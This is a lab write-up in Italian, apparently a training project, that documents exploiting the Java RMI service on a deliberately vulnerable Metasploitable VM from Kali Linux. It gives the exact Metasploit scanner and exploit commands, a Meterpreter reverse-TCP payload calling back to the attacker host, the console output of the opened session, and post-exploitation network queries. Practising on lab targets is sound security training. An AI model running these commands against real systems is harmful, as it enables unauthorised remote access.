Documentazione del Progetto: Exploit Java RMI su Metasploitable

Prerequisiti

Macchine Coinvolte

Macchina Attaccante (Kali Linux): Indirizzo IP: 192.168.11.111

Macchina Vittima (Metasploitable): Indirizzo IP: 192.168.11.112

Configurazione della Rete

Entrambe le macchine devono essere configurate nella stessa rete e devono essere in grado di comunicare tra loro. Utilizzare il comando **ping** per verificare la connettività.

Passaggi Eseguiti

Scansione e Identificazione della Vulnerabilità

Utilizzando Metasploit, è stato eseguito un modulo ausiliario per verificare la presenza del servizio Java RMI vulnerabile sulla porta 1099.

Comandi Utilizzati:

msfconsole
use auxiliary/scanner/misc/java_rmi_server
set RHOSTS 192.168.11.112
run

Risultato:

Il modulo ha rilevato un endpoint Java RMI con il caricatore di classi abilitato, confermando la presenza di una vulnerabilità sfruttabile.

Sfruttamento della Vulnerabilità

Dopo aver confermato la vulnerabilità, è stato utilizzato un modulo exploit per ottenere una sessione remota Meterpreter.

Comandi Utilizzati:

use exploit/multi/misc/java_rmi_server
set RHOSTS 192.168.11.112
set LHOST 192.168.11.111

set PAYLOAD java/meterpreter/reverse_tcp
exploit

Risultato:

Il modulo exploit ha stabilito una connessione con successo, ottenendo una sessione Meterpreter sulla macchina vittima.

Una volta ottenuta la sessione Meterpreter, sono state raccolte le informazioni richieste.

Comandi utilizzati
ipconfig
route

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/5X6YLD1uD
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58037 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:39005) at 2024-12-20 09:10:26 -0500
```

```
Interface  1
============
Name         : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface  2
============
Name         : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe94:66f5
IPv6 Netmask : ::
```

```
meterpreter > route

IPv4 network routes
===================

    Subnet          Netmask        Gateway  Metric  Interface
    ------          -------        -------  ------  ---------
    127.0.0.1       255.0.0.0      0.0.0.0
    192.168.11.112  255.255.255.0  0.0.0.0


IPv6 network routes
===================

    Subnet                  Netmask  Gateway  Metric  Interface
    ------                  -------  -------  ------  ---------
    ::1                     ::       ::
    fe80::a00:27ff:fe94:66f5  ::       ::
```

```
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  20               yes       Time that the HTTP Server will wait for the payload request
   RHOSTS     192.168.11.112   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      1099             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all
                                         addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL for incoming connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                     no        The URI to use for this exploit (default is random)


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.11.111   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)


View the full module info with the info, or info -d command.
```